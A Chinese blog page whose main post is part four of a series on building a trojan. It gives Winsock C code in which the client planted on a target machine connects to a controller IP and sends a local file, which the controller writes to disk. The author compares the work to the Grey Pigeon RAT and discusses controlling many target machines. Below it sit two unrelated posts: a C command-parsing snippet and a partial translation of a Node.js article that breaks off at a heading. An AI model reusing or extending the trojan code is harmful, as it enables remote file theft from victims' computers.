木马,你好!(四)远程文件传送

关于上一讲

说起来,上一讲最后那一个多线程看起来有点奇怪。这里在简单说一下,首先是 CreateProcess 之后的 ReadFile 读管道阻塞了。这这个是个蛋疼的问题,如果客户端的程序卡在这里不受服务端控制的话,这就好像是将藏着军队的特洛伊木马送入城内之后,里面的士兵卡在木马的小内出不来了。如果你没出现这个问题的话可以跳过,或者你知道解决方案的话往望联系博主(下方评论即可,留邮箱、你懂的)。所以,为了避免客户端在这里卡住,所以就分了一个线程去发送这个数据,这样就算这个线程卡住了客户端依旧可以淡定的执行下去。

于是乎,正常情况下来说数据是一发一收。但是由于管道导出来的数据使用有点断断续续,就形成了一种一发多收的情况。所以如果只是一发一收的话,会导致客户端多发上来的数据服务端只收了一次就收不到了,后面的数据就丢失了。所以就加了个多线程一直收。不过其实可以简单的改一下上一讲最后面客户端的代码会让情况稍微好些的。while 循环读管道挨个拼接一个字符串,管道循环完了之后直接一次发过来。不过这样还是有卡壳的危险也就懒得动了。

那么话题绕回来。我们还是好好的了解一下文件传输这个东西。对于很多新人来说话这个词听起来有点神秘,又有点高深莫测,但是只要你的 C语言基础学得好,对于流的概念把握到了一定的火候那么你也应该知道的差不多了。嗯,没错,这东西也就对新人来说很高上大,但了解了理论之后就会觉得其实挺简单。

当然,这里是指理论简单,如果要专门讨论一个文件共享用的服务端之类的,那估计是另外一个系列的博文了,而且内容长度应该比这个木马系列要长多。如果有 linux 开发倾向的也可以去 github 上找找博主大学时代写的一个 ftp (代码),代码不长,就 2000 行出头,(大概意思是有了,不过中间还有不少污点),有要交流的可以去看看。

所以这一讲只是简单实现一下文件传输这个功能。为了劲量让人觉得这个功能简单,所以代码可能写的有点简陋,希望路过的大神别笑。

再来一个 socket

首先是在服务端新起一个线程,这个新的线程里面就只做了一件事,除了正常的 socket 之外又新绑定了一个 socket 来监听。为什么要在新来一个 socket 去监听?看过了上一讲最后一个多线程的程序,心中大概都模模糊糊的有点体会吧。

作为文件传输首先要区分开来的便是命令和数据。我们目前常用的 FTP (File Transfer Protocol 文件传输协议)都遵循一件事情,那就默认的命令传输端口是 21 默认的数据传输端口是 20。其实际情况就是一个 socket 专门处理命令一个 socket 专门处理数据传输。

Socket 这东西虽然直译过来叫插座,但是更形象一点的话可以把 socket 当做电话。客户端与服务端使用 socket 通信的过程实际上更像是两个人拿着两部手机在打电话——————你说一句我听一句,我说一句你听一句的轮流来。

上一讲开头的时候情况就好像是S君(服务端)拿起手机对C君(客户端)说出命令,然后C君执行完命令之后通过手机对S君汇报结果。

而后来的句柄卡壳的情况就好像是C君死板的执行任务,但是任务的最后总结憋不出来于是S君下达命令之后C君一直纠结一个任务便没有回音了。作为S君的顶头上司的博主表示不能忍受。于是改版加了多线程之后情况就变成了,C君一边执行任务一遍汇报,最后读取结果方法卡住了也没关系。

那么现在我们要搞清楚的事情就是,这样的传输方式对于传输文件来说肯定是不合适的。因为下达命令之后C君要送一份详细的文件来给S君,但是只有一部电话。如果S君一遍听着C君念文件的内容,那么S君在下达命令C君要怎么办?要S君一边说文件的内容一边听C君汇报吗?

所以情况就是我们需要一个新的设备————传真机。那么情况就可以改观过来。S君和C君有可以继续原来的命令往返,而S君和C君只要两人手上都多一个传真机就可以了。S君告诉C君要XX文件,C君直接通过传真机(而不是手机)发过来就可以了。

手机或者叫传真,随便你怎么称呼,总之我们都知道这货实际上是可以传递数据的 socket 就行。如果你能理解这个心冒出来的传真机那么后面就好说了。

服务端的传真机

为了避免传真机和手机串线,所以我们新开一个线程与主线程去避开,然后在新的线程里面来建立我们的传真机 socket,具体情况如下:

DWORD WINAPI DataThreadProc(LPVOID lpThreadParameter)
{
	int num = 0, len = sizeof(SOCKADDR);
	SOCKET sockClient;			// 客户端 Scoket
	SOCKADDR_IN addrClient;		// 客户端地址
	SOCKET sockServerData;		// 服务端数据传输 Socket
	SOCKADDR_IN addrServerData;	// 服务端数据传输地址

	sockServerData = socket(AF_INET, SOCK_STREAM, 0);				// 初始化 socket
	addrServerData.sin_addr.S_un.S_addr = inet_addr("192.168.1.10");// 设置本机IP
	addrServerData.sin_family = AF_INET;							// 协议类型是INET
	addrServerData.sin_port = htons(6008);							// 绑定端口6000

	bind(sockServerData, (SOCKADDR *)&addrServerData, sizeof(SOCKADDR)); // 绑定 socket
	listen(sockServerData, 5); // 开始监听链接

	while(1)
	{
		// 等待客户端连接
		sockClient = accept(sockServerData, (SOCKADDR *)&addrClient, &len);

		printf("n准备接收传输文件n");

		FileRecv(sockClient, "D:\1.txt");

		printf("文件接受完毕n>>");
	}
	return 0;
}

定义一个地址结构体指明地址还有端口,再定义一个 socket 来 bind、listen、accept 好了,我不说你们都懂的。 socket 三板斧就这样,是个定式。中间调用我们的文件接收函数 FileRecv:

void FileRecv(SOCKET s, char *filename) 
{
	char recvBuf[1024] = {0};	// 缓冲区
	HANDLE hFile;				// 文件句柄
	DWORD count;				// 写入的数据计数

	hFile = CreateFile(
		filename,				// 文件名
		GENERIC_WRITE,          // 写入权限
		0,                      // 阻止其他进程访问
		NULL,                   // 子进程不可继承本句柄
		CREATE_NEW,             // 仅不存在时创建新文件
		FILE_ATTRIBUTE_NORMAL,  // 普通文件
		NULL
	); 

	while (1)
	{
		// 从客户端读数据
		recv(s, recvBuf, 1024, 0);
		if (strlen(recvBuf) > 0)
		{
			// 如果是结束标志则停止写入
			if (strcmp(recvBuf, "%%over%%") == 0)
			{
				CloseHandle(hFile);
				break;
			}
			// 将数据写入到本地的文件
			WriteFile(hFile,recvBuf,strlen(recvBuf),&count,0);
		}
	}
}

好吧,就这么简单。没有什么别的了。

点击展开:服务端完整代码

客户端的传真机

如果你已经接受了上面的代码,那么下面的就更简单了。一样的新建一个 socket,一样的文件操作从读改成了写:

void FileSend(SOCKET s, CHAR *filename)
{
	HANDLE hFile;
	char buf[MSG_LEN] = {0};    //缓冲区
	DWORD len = 0;

	printf("n准备传输文件n");

	hFile = CreateFile(
		filename,	            // 文件名
		GENERIC_READ,           // 读取权限
		0,                      // 阻止其他进程访问
		NULL,                   // 子进程不可继承本句柄
		OPEN_EXISTING,          // 仅当该文件或设备存在时,打开它
		FILE_ATTRIBUTE_NORMAL,  // 普通文件
		NULL                    // 不适用模板文件
	);

	if (hFile == INVALID_HANDLE_VALUE) 
	{ 
		printf("文件无法打开n");
		return; 
	}

	// 读取客户端文件数据
	ReadFile( hFile, buf, MSG_LEN, &len, NULL );

	// 将数据发送到服务端
	send(s, buf, strlen(buf) + 1, 0);

	// 发送完毕标识
	send(s, "%%over%%", sizeof("%%over%%"), 0);

	// 关闭文件句柄
	CloseHandle( hFile );
}

DWORD WINAPI DataThreadProc (LPVOID lpThreadParameter)
{
	SOCKADDR_IN addrServerData; // 服务端地址
	SOCKET sockClientData; // 客户端 Scoket

	printf("进入子线程, 准备读取数据n");

	sockClientData = socket(AF_INET, SOCK_STREAM, 0);
	addrServerData.sin_addr.S_un.S_addr = inet_addr("192.168.1.10");  // 目标IP (127.0.0.1是本机地址)
	addrServerData.sin_family = AF_INET;                           // 协议类型是INET
	addrServerData.sin_port = htons(6008); // 设置数据传输地址

	// 让 sockClient 连接到 服务端
	connect(sockClientData, (SOCKADDR *)&addrServerData, sizeof(SOCKADDR));

	// 传输文件
	FileSend(sockClientData, "E:\1.txt");

	printf("文件发送完毕n");

	return 0;
}

几乎没人任何难点的就这样一路下来了。是不是很奇怪,文件传输是不是该再难一点?其实就这么简单。文件传输其实是一个很常见的操作,例如我们平常的文件剪切,将一个文件从 E: 盘下的一个目录移动到 D: 盘下的某处,这样的操作就已经算的上是传送文件了。而远程文件传输只是把读和写这两个功能拆开放到两个地方执行罢了。

点击展开:客户端完整代码

其中的各种问题

错误处理

先说说不足之处吧,首先是错误处理的问题。中间很多地方都有错误处理,被博主省略掉了,例如新建 socket 有没有成功文件句柄打开有没有成功之类的。各位不要忘了。除了这些,还有一个地方就是“功能上的错误处理”,就如同最开始第二讲中写了个简单的关机命令与之配套的就写了一个取消关机的命令。各位注意开发功能的时候也是这样,莫要长板凳只坐一端一边倒了,对应到文件传输功能就是取消文件传输。这里简单提个思路,取消文件传输直接干掉传送的线程就可以了,当然这是最简陋的处理方式,更多的地方大家还要开动脑筋。还比如有文件传送的的时候如果,文件读取失败最好也发一个失败的状态标志来让服务端处理。

文件操作

可能是用惯了 linux 的 read 和 write 导致 windows 的 ReadFile 和 WriteFile 用起来不是很爽,于是博主趁着这个借口就在代码中偷了懒。按照上面的写法只能传送小于 1MB 的文件。实际上 ReadFile 应该是一个循环才对。这里可是一定要改的地方。

线程、进程

对于多线程而言,如果是多个连接接进来的话,很容易乱,所以通常来说,写 ftp 的话最好还是用多进程来写(新来一个连接就新建一个进程,每个连接都有各自的进程空间不会与其他连接的空间相干扰)。不过 windows 下的 API 确实让人(关注过Linux API开发的)感受到一股浓浓的异端气息。已经彻底接受了 fork 统治的博主表示有点 hold 不住。对比 linux 下的 fork,某种程度上来说 windows 下的创建进程的 CreateProcess 函数简直就像是 exec 函数的远房亲戚。不过如果只是一个人用的话用多线程也无所谓,但是如果一台电脑要同时操作多台电脑的话,依旧会有这种问题不过问题不大。话说,线程变多了,小黑框貌似变得有点挤了。如果用 SDK、MFC 或者 QT 之类的 GUI 库做个界面想必是极好的。不过为了不提高教程的门槛这里就说说罢了,有精力的同学可以考虑自己写个界面。(不知不觉又想起小的时候第一次看到灰鸽子的界面时的心情了。)如果没有这方面的考虑,但是又依旧希望一控多的话。可以考虑把博主前面写的代码中服务端与客户端对调过来,把操作部分扔给服务端让服务端在目标计算机上运行。这样,你要连多台电脑只要开多个客户端就可以了,不用麻烦的去处理多个连接。不过这个解决方案也有问题,就是容易丢失目标,因为这样你要主动去连接目标计算机,那么如果目标计算机的 ip 变动了,那么你就可能丢失了这台目标计算机。

代码有点挤

这个挤,主要是全都指挤在一个文件,不够分开。开发的时候最好注意按功能分到多个文件。

待完善

上面客户端的代码中有个 parseCommond 的函数(该函数使用示例),这个是用来解析服务端发下的命令字符串的,原本是想写的完善一点让服务端上发送命令的时候连带一个路径参数让客户端根据服务端指明的路径去传输文件,只不过目前的代码里面已经写的比较露骨就不改了,大家请自己补全。(关于 parseCommond 函数的用途不太理解的可以去看看例子:C/C++ 获取命令字符串中的参数

文章索引

上一讲:木马,你好!(三)管道与远程控制介
下一讲:木马,你好!(五)端口重用

function toggle(id) {
var item = document.getElementById(id);
if (!item.style.display) {
item.style.display = “none”;
} else {
item.style.display = “”;
}
}

Advertisements

C/C++ 获取命令字符串中的参数

随手记一下

#include <stdio.h>
#include <string.h>

void parseCommond(char *cmd, int *argc, char (*argv)[256])
{
    char *tmp = cmd, *end = cmd;
    int count = 0, flag = 0;
    char SPACE = ' ', END = '\0', NEW_LINE = 'n';

    // 忽略开头空格
    while (*cmd == SPACE)
        cmd++;

    // 忽略结尾回车
    while (*end != END && *end != NEW_LINE)
        end++;

    while (cmd != end)
    {
        // 判断是否随后到结尾
        flag = (cmd + 1) == end;

        if (*cmd == SPACE || flag)
        {
            if (*(cmd - 1) != SPACE)
            {
                // 一个新的参数
                strncpy(argv[count++], tmp, (cmd + flag - tmp));
            }
            tmp = cmd + 1;
        }
        cmd++;
    }
    *argc = count;
}

int main()
{
    int argc = 0, i;
    char argv[10][256] = {0};

    parseCommond("shutdown -s -t 3600n", &argc, argv);
    // parseCommond("shutdown -s -t 3600", &argc, argv);
    // parseCommond("test", &argc, argv);

    for (i = 0; i < argc; ++i)
    {
        printf("参数: %d -> [%s]n", i, argv[i]);
    }

    return 0;
}

运行结果:

参数: 0 -> [shutdown]
参数: 1 -> [-s]
参数: 2 -> [-t]
参数: 3 -> [3600]

可以改进的地方:
更多判断可以用 ctype.h 的函数,还有保存的时候用 char [][] 保存局限性挺大, 比如 argv[3] 是 3600 实际上拿出来时个字符串还要自己转换一遍。

为什么我要使用 Node.js? 案例逐一介绍

介绍

JavaScript’s rising popularity has brought with it a lot of changes, and the face of web development today is dramatically different. The things that we can do on the web nowadays with JavaScript running on the server, as well as in the browser, were hard to imagine just several years ago, or were encapsulated within sandboxed environments like Flash or Java Applets.

JavaScript 高涨的人气带来了很多的变化,以至于如今使用其进行网络开发的形式也变得截然不同了。就如同在浏览器中一样,现在的我们也可以在服务器上运行 JavaScript ,从前端跨越到后端,这样巨大的反差让人难以想象,因为仅仅在几年前 Javascript 还是如同 Flash 或者 Java applet 那样嵌入网页在沙箱环境中运行的小程序。

Before digging into Node.js, you might want to read up on the benefits of using JavaScript across the stack which unifies the language and data format (JSON), allowing you to optimally reuse developer resources. As this is more a benefit of JavaScript than Node.js specifically, we won’t discuss it much here. But it’s a key advantage to incorporating Node in your stack.

在深入Node.js之前,你可能需要阅读和了解,整个开发流程从客户端到服务端再到数据库的《JavaScript一条龙》,使用 Javascript 可以让您以最佳重的方式复用开发资源。由于这更多的是关于 JavaScript 的特点,这里就不过多讨论它。但它确实是一个让人在开发环节中使用 Node 的关键的优点。

As Wikipedia states: “Node.js is a packaged compilation of Google’s V8 JavaScript engine, the libuv platform abstraction layer, and a core library, which is itself primarily written in JavaScript.” Beyond that, it’s worth noting that Ryan Dahl, the creator of Node.js, was aiming to create real-time websites with push capability, “inspired by applications like Gmail”. In Node.js, he gave developers a tool for working in the non-blocking, event-driven I/O paradigm.

正如维基百科 所说:“Node.js 是谷歌 V8 引擎、libuv 以及使用 Javscript 编写的核心库三者集合的一个包装外壳。” 除此之外,值得注意的是,Node.js 的作者瑞恩·达尔 (Ryan Dahl) 的目标是创建具有实时推送能力的网站。在 Node.js 中,他给了开发者一个使用事件驱动来实现异步开发的优秀解决方案。(注:V8是谷歌开发的,目前公认最快的 Javascript 解析引擎,libuv 是一个开源的、为 Node 定制而生的跨平台的异步 IO 库。)

In one sentence: Node.js shines in real-time web applications employing push technology over websockets. What is so revolutionary about that? Well, after over 20 years of stateless-web based on the stateless request-response paradigm, we finally have web applications with real-time, two-way connections, where both the client and server can initiate communication, allowing them to exchange data freely. This is in stark contrast to the typical web response paradigm, where the client always initiates communication. Additionally, it’s all based on the open web stack (HTML, CSS and JS) running over the standard port 80.

简单的说:Node.js 在实时的 Web应用上采用着优于 WebSocket 的推送技术。这意味着什么样的革命性?Well,经过了20多年的短连接 (stateless request-response) 交互,最终出现了能让我们的客户端和服务器可以互相发起通信,使其能够自由地交换数据的 web 应用。与此形成鲜明对比的是传统的 web响应模式,客户端总是主动链接而服务端被动返回。

One might argue that we’ve had this for years in the form of Flash and Java Applets—but in reality, those were just sandboxed environments using the web as a transport protocol to be delivered to the client. Plus, they were run in isolation and often operated over non-standard ports, which may have required extra permissions and such.

可能有人会说,我们已经使用 Flash 和 Java Applet 的形式很多年了 ———— 但实际上,这些方式只是使用网络将数据传递到客户端上的沙箱环境。他们都是隔离运行的,而且经常操作到需要额外的权限之类的非标准端口。

With all of its advantages, Node.js now plays a critical role in the technology stack of many high-profile companies who depend on its unique benefits.

凭借其独特的优势,Node.js的现在已经在许多著名公司的产品中起到了关键作用。

In this post, I’ll discuss not only how these advantages are accomplished, but also why you might want to use Node.js—and why not—using some of the classic web application models as examples.

在这篇文章中,我们不仅将讨论这些优势是如何实现的,而且也会讨论为什么你使用 Node.js 来替代一些经典的Web应用程序模型。

Node.js 是如何工作的?

The main idea of Node.js: use non-blocking, event-driven I/O to remain lightweight and efficient in the face of data-intensive real-time applications that run across distributed devices.

Node.js 的主要思路是:使用非阻塞的,事件驱动的 I/O 操作来保持在处理跨平台 (across distributed devices) 数据密集型实时应用时的轻巧高效。这听起来有点绕口。

What it really means is that Node.js is not a silver-bullet new platform that will dominate the web development world. Instead, it’s a platform that fills a particular need. And understanding this is absolutely essential. You definitely don’t want to use Node.js for CPU-intensive operations; in fact, using it for heavy computation will annul nearly all of its advantages. Where Node really shines is in building fast, scalable network applications, as it’s capable of handling a huge number of simultaneous connections with high throughput, which equates to high scalability.

它的真正含义是,Node.js 不是一个即将主导Web开发的世界的平台。相反,它是一个满足特别需求的平台。你肯定不会希望使用 Node.js 去做 CPU密集型操作。事实上,使用它进行繁重的计算等于摒弃 Node 几乎所有的优点。Node 真正的亮点在于建设速度快,扩展性高————因为它能够处理庞大的并且高吞吐量的并发连接。

How it works under-the-hood is pretty interesting. Compared to traditional web-serving techniques where each connection (request) spawns a new thread, taking up system RAM and eventually maxing-out at the amount of RAM available, Node.js operates on a single-thread, using non-blocking I/O calls, allowing it to support support tens of thousands of concurrent connections (held in the event loop).

它的工作原理是相当有趣的。传统的网络服务技术,是每个新增一个连接(请求)便生成一个新的线程,这个新的现成会占用系统内存,直到内存满了无法处理。而 Node.js 仅仅只运行在一个单线程中,使用非阻塞的异步 I/O 调用,所有连接都由该线程处理,在 libuv 的加分下,可以允许其支持数万并发连接(全部挂在该线程的事件循环中)。

A quick calculation: assuming that each thread potentially has an accompanying 2 MB of memory with it, running on a system with 8 GB of RAM puts us at a theoretical maximum of 4000 concurrent connections, plus the cost of context-switching between threads. That’s the scenario you typically deal with in traditional web-serving techniques. By avoiding all that, Node.js achieves scalability levels of over 1M concurrent connections (as a proof-of-concept).

做一个简单的计算: 假设是普通的Web程序,新接一个连接占用 2M 的内存,在有 8GB RAM的系统上运行时, 算上线程之间上下文切换的成本,并发连接的最大理论值则为 4000 个。这是在传统 Web服务端技术下的处理情况。而 Node.js 则达到了约 1M 一个并发连接的拓展级别 (相关证明).

There is, of course, the question of sharing a single thread between all clients requests, and it is a potential pitfall of writing Node.js applications. Firstly, heavy computation could choke up Node’s single thread and cause problems for all clients (more on this later) as incoming requests would be blocked until said computation was completed. Secondly, developers need to be really careful not to allow an exception bubbling up to the core (topmost) Node.js event loop, which will cause the Node.js instance to terminate (effectively crashing the program).

当然, 在所有客户端的请求共享单一线程也会有问题, 这也是一个编写 Node.js 应用的潜在缺陷. 首先, 大量的计算可能会使得 Node 的单线程暂时失去反应, 并导致所有的其他客户端的请求一直阻塞, 直到计算结束才恢复正常。 其次,开发人员需要非常小心,不要让一个 Exception 阻塞核心的事件循环,因为这将导致 Node.js 实例的终止(实际上就是程序崩溃)。( 笔者注:如 PHP 中某个页面挂掉是不会影响网站运行的,但是 Nodejs 是一个线程一个线程来处理所有的链接,所以不论是计算卡了或者是被异常阻塞了都可能会影响到其他所有的链接。解决方案在稍后讨论。)

The technique used to avoid exceptions bubbling up to the surface is passing errors back to the caller as callback parameters (instead of throwing them, like in other environments). Even if some unhandled exception manages to bubble up, there are mutiple paradigms and tools available to monitor the Node process and perform the necessary recovery of a crashed instance (although you won’t be able to recover users’ sessions), the most common being the Forever module, or a different approach with external system tools upstart and monit.

用来避免异常抛出时阻塞进程的方法是将异常使用回调传递出去(而不是抛出他们,就像在其他环境中一样)。即使一些未处理的异常阻塞了程序,依旧有多种应对的解决方案,而且也有很多可用于监视 Node 进程来执行一个崩溃的还原的工具(虽然你将无法恢复用户的 Session ),最常见的是使用 Forever 模块,或者采用其他的系统工具如 “upstart and monit”。

NPM: The Node Package Manager

When discussing Node.js, one thing that definitely should not be omitted is built-in support for package management using the NPM tool that comes by default with every Node.js installation. The idea of NPM modules is quite similar to that of Ruby Gems: a set of publicly available, reusable components, available through easy installation via an online repository, with version and dependency management.

当我们讨论 Node.js 的时候,一个绝对不应该忽略地方就是默认内置的模块管理工具 ———— NPM。 其灵感来源与 Ruby Gems(具有版本和依赖管理功能,可以通过在线资料库便捷安装可重用的组件的管理工具)。

A full list of packaged modules can be found on the NPM website https://npmjs.org/ , or accessed using the NPM CLI tool that automatically gets installed with Node.js. The module ecosystem is open to all, and anyone can publish their own module that will be listed in the NPM repository. A brief introduction to NPM (a bit old, but still valid) can be found at http://howtonode.org/introduction-to-npm.

一个完整的公用模块列表可以在 NPM 的网站上找到(https:://npmjs.org/),或者通过使用与 Node.js 一同安装的 NPM CLI 工具也同样可以找到。该模块的生态系统向所有人开放,任何人都可以发布自己的模块,所有的模块都可以在 NPM 资料库中找到。你可以在 http://howtonode.org/introduction-to-npm 页面找到 NPM 的一个简要介绍(有点旧,但依旧能看)。

目前非常流行的一些 NPM 模块有:

  • express – Express.js,是一个简洁而灵活的 node.js Web应用框架, 并且已经是现在大多数 Node.js 应用的标准框架,你已经可以在很多 Node.js 的书籍中看到它了。
  • connect – Connect 是一个 Node.js 的 HTTP 服务拓展框架,提供一个高性能的“插件”集合,以中间件闻名,是 Express 的基础部分之一。
  • socket.iosockjs – 目前服务端最流行的两个 websocket 组件。
  • Jade – 流行的模板引擎之一,并且是 Express.js 的默认模板引擎。其灵感来源于 HAML。
  • mongomongojs – 封装了 MongoDB 的的各种 API,不过笔者平常工作用的是 mongoose 也很推荐。
  • redis – Redis 的客户端函数库.
  • coffee-script – CoffeeScript 编译器,允许开发者使用 Coffee 来编写他们的 Node.js 程序。
  • underscore (lodash, lazy) – 最流行的 JavaScript 工具库 , 用于 Node.js 的封装包,以及两个采取略有不同的实现方法来获得更好性能的同行。
  • forever – 可能是用来确保 node 脚本持续运行的最流行的工具。

The list goes on. There are tons of really useful packages out there, available to all (no offense to those that I’ve omitted here).
还有很多好的模块,这里就不一一列举了(希望没有冒犯到我没列举的)。

Node.js 应该用在什么地方

聊天

Chat is the most typical real-time, multi-user application. From IRC (back in the day), through many proprietary and open protocols running on non-standard ports, to the ability to implement everything today in Node.js with websockets running over the standard port 80.

聊天是最典型的多用户实时交互的应用。从 IRC 开始,有许多开源或者不开源的协议都运行在非标准端口上,而现在,使用 Node.js 则可以解决这些问题 ———— 在标准的80端口运行 WebSockets。

The chat application is really the sweet-spot example for Node.js: it’s a lightweight, high traffic, data-intensive (but low processing/computation) application that runs across distributed devices. It’s also a great use-case for learning too, as it’s simple, yet it covers most of the paradigms you’ll ever use in a typical Node.js application.

聊天应用程序是最能体现 Node.js 优点的例子:轻量级、高流量并且能良好的应对跨平台设备上运行密集型数据(虽然计算能力低)。同时,聊天也是一个非常值得学习的用例,因为它很简单,并且涵盖了目前为止一个典型的 Node.js 会用到的大部分解决方案。

Let’s try to depict how it works.

让我们试着来描绘它如何工作。

In the simplest scenario, we have a single chatroom on our website where people come and can exchange messages in one-to-many (actually all) fashion. For instance, say we have three people on the website all connected to our message board.

在最简单的情况下,我们布置了一个聊天室在我们的网站上,用户可以在上面发消息,当然是一对多的形式。例如,假设总共有三个人连接到我们的网站上。

On the server-side, we have a simple Express.js application which implements two things: 1) a GET ‘/’ request handler which serves the webpage containing both a message board and a ‘Send’ button to initialize new message input, and 2) a websockets server that listens for new messages emitted by websocket clients.

在服务端这边, 我们有一个使用 Express.js 搭建的简单站点,该站点实现了两件事 1) 处理路径为 ‘/’ 的GET请求时,下发包括一个留言板以及一个发送信息的 ‘发送’ 按钮的页面 2) 一个监听客户端发送新消息的 websockets 服务。

On the client-side, we have an HTML page with a couple of handlers set up, one for the ‘Send’ button click event, which picks up the input message and sends it down the websocket, and another that listens for new incoming messages on the websockets client (i.e., messages sent by other users, which the server now wants the client to display).

在客户端这边,我们有一个 HTML 页面,上面有个两个 js 方法,一个是用于触发事件的 “发送” 按钮,这会把把输入的消息通过 webscoket 发送,另一个方法是用 webscoket 在客户端上监听服务端来的推送(例如,其他用户发送的消息)。

When one of the clients posts a message, here’s what happens:

当有一个客户端发送消息的时候,发生的事情是:

1.Browser catches the ‘Send’ button click through a JavaScript handler, picks up the value from the input field (i.e., the message text), and emits a websocket message using the websocket client connected to our server (initialized on web page initialization).

浏览器上,点击发送按钮触发了 js 函数,将输入框中的文字通过 websocket 消息发送到服务器的 websocket 客户端(页面初始化加载的时候连接的)。

2.Server-side component of the websocket connection receives the message and forwards it to all other connected clients using the broadcast method.

服务端的 websocket 组件收到 消息,然后通过广播方法转发到其他所有连接的客户端。

3.All clients receive the new message as a push message via a websockets client-side component running within the web page. They then pick up the message content and update the web page in-place by appending the new message to the board.

通过页面上运行的 websocket 客户端组件,所有的客户端都能收到这条推送的新消息。接着 js 处理函数可以把这个消息添加到文字框内。

This is the simplest example. For a more robust solution, you might use a simple cache based on the Redis store. Or in an even more advanced solution, a message queue to handle the routing of messages to clients and a more robust delivery mechanism which may cover for temporary connection losses or storing messages for registered clients while they’re offline. But regardless of the improvements that you make, Node.js will still be operating under the same basic principles: reacting to events, handling many concurrent connections, and maintaining fluidity in the user experience.

这是一个最简单的例子。如果要更好的解决方案,你可以使用 Redis 数据库做一个简单的缓存。在一个高级的解决方案中,你可能需要一个消息路由来专门处理消息队列,并且需要一个更好的发送机制,比如发送的时候覆盖上暂时离线的用户或者为离线的注册用户存储尚未接收的消息等等。但是不论你坐了怎么样的改进,Node.js 都将遵循一个基本原则:响应事件,处理多个并发连接,并保持流动性的用户体验。

API ON TOP OF AN OBJECT DB

Although Node.js really shines with real-time applications, it’s quite a natural fit for exposing the data from object DBs (e.g. MongoDB). JSON stored data allow Node.js to function without the impedance mismatch and data conversion.

尽管,Node.js 确实非常擅长实时交互的应用,同事它也十分适合通过对象数据库(object DB)来查询数据(如 MongoDB)。以 Json 格式存储的数据允许 Node.js 直接处理,不需要纠结数据转换和匹配的问题。

For instance, if you’re using Rails, you would convert from JSON to binary models, then expose them back as JSON over the HTTP when the data is consumed by Backbone.js, Angular.js, etc., or even plain jQuery AJAX calls. With Node.js, you can simply expose your JSON objects with a REST API for the client to consume. Additionally, you don’t need to worry about converting between JSON and whatever else when reading or writing from your database (if you’re using MongoDB). In sum, you can avoid the need for multiple conversions by using a uniform data serialization format across the client, server, and database.

举个例子,如果你正在使用 Rails,你会将 JSON 数据转成 二进制的 model,当数据再被 Backbone.js, Angular.js 或者 jQuery AJAX 之类的调用又要转回 JSON。如果是 Nodejs 的话,你可以通过一个 REST API 简单的导出 JSON 对象以供客户端使用。另外,从数据库读写时候如果使用的是 MongoDB 的话,你也不用担心的 JSON 与任何数据之间的格式问题。总之,你可以避免多元的数据转换问题,不论是在客户端、服务端还是数据库。

QUEUED INPUTS

队列输入

If you’re receiving a high amount of concurrent data, your database can become a bottleneck. As depicted above, Node.js can easily handle the concurrent connections themselves. But because database access is a blocking operation (in this case), we run into trouble. The solution is to acknowledge the client’s behavior before the data is truly written to the database.

如果你正在接收一个高量并发的数据,你的数据库可能会成为你处理的瓶颈。正如上面的描述,Node.js 可以轻松的处理并发连接。 但是,由于数据库操作是一个阻塞的操作(在这种情况下),这就是麻烦的地方。Node.js的解决方案是,在数据真正的写入之前就承认客户端的数据是真实的。

With that approach, the system maintains its responsiveness under a heavy load, which is particularly useful when the client doesn’t need firm confirmation of a the successful data write. Typical examples include: the logging or writing of user-tracking data, processed in batches and not used until a later time; as well as operations that don’t need to be reflected instantly (like updating a ‘Likes’ count on Facebook) where eventual consistency (so often used in NoSQL world) is acceptable.

用这种方法,在高负载的时候系统继续维持它的响应,这在当客户端不需要严格确认一个数据是否成功的被写入时特别有用。典型的例子包括:用户跟踪数据(user-tracking data)的日志与写入,这会被分批处理并且在稍后才使用;同时也包括最终一致性(so, 常用于 NoSQL)可以接受的时候,不需要立即反应的操作(例如 Facebook 上更新点赞的数目)。

Data gets queued through some kind of caching or message queuing infrastructure (e.g., RabbitMQ, ZeroMQ) and digested by a separate database batch-write process, or computation intensive processing backend services, written in a better performing platform for such tasks. Similar behavior can be implemented with other languages/frameworks, but not on the same hardware, with the same high, maintained throughput.

数据通过某些缓存或者消息队列的基础设置(例如 RabbitMQ, ZeroMQ)进入队列,并且通过一个单独数据库的批量写入进程来一一消化,或者通过一个更好的后端服务来进行密集型计算处理。其他的语言/框架也可以实现相似的操作,但在相同的配置下是达不到 nodejs 的高吞吐量与高并发。

In short: with Node, you can push the database writes off to the side and deal with them later, proceeding as if they succeeded.

简单的说:使用 Node,你可以把数据库操作扔到一边并在稍后处理它们,假设他们成功了一样继续执行下去。(笔者注:在开发中通常的情况通常是,种耗时的操作通过回调函数来异步处理,主线程继续往下执行)

DATA STREAMING

数据流

In more traditional web platforms, HTTP requests and responses are treated like isolated event; in fact, they’re actually streams. This observation can be utilized in Node.js to build some cool features. For example, it’s possible to process files while they’re still being uploaded, as the data comes in through a stream and we can process it in an online fashion. This could be done for real-time audio or video encoding, and proxying between different data sources (see next section).

在较为传统的网络平台上,HTTP 的请求和响应更像是孤立的事件;然后事实上,他们都是数据流。这一观察结果在 Nodejs 上可以用来建立一些很酷的功能。因为数据通以流的形式接收,而我们可以在网站上在线处理正在上传中的文件。这样的话,就可以实现实时的音频和视频编码,以及在不同数据源之间进行代码(代理见下一段)。

(注:Node 有代替如 apache 这样的 webserver 处理数据,所以开发者可以直接收到客户端一份一份上传的数据,并实时处理。上面这段话听起来有点抽象,不过各位可以简单的想象一下不需要开 YY 或者 QQ,打开网页就能进行语音视频的功能。)

PROXY

代理

Node.js is easily employed as a server-side proxy where it can handle a large amount of simultaneous connections in a non-blocking manner. It’s especially useful for proxying different services with different response times, or collecting data from multiple source points.

Node.js 可以通过异步的方式处理大量的同时连接,所以很容易作为服务端的代理来使用。这在与不同响应时间的不同服务之间进行代理,或者是收集来自多个来源的数据时尤其有用。

An example: consider a server-side application communicating with third-party resources, pulling in data from different sources, or storing assets like images and videos to third-party cloud services.

举个例子:考虑一个服务器端的应用程序和第三方资源进行通信以更新自不同来源的数据,或者将服务端上的一些图像和视频资源存储到第三方云服务。

Although dedicated proxy servers do exist, using Node instead might be helpful if your proxying infrastructure is non-existent or if you need a solution for local development. By this, I mean that you could build a client-side app with a Node.js development server for assets and proxying/stubbing API requests, while in production you’d handle such interactions with a dedicated proxy service (nginx, HAProxy, etc.).

虽然专用代理服务器确实存在,但是如果你还没有专用的代理服务器,或者你需要一个本地开发的解决方案,那么使用 Node 来做代理可能是更好的选择。关于这个解决方案,我的意思是指你当你在作业的时候,需要与专用代理服务进行交互,可以通过 Node.js 开进行处理。

BROKERAGE – STOCK TRADER’S DASHBOARD

股票操盘手的仪表盘

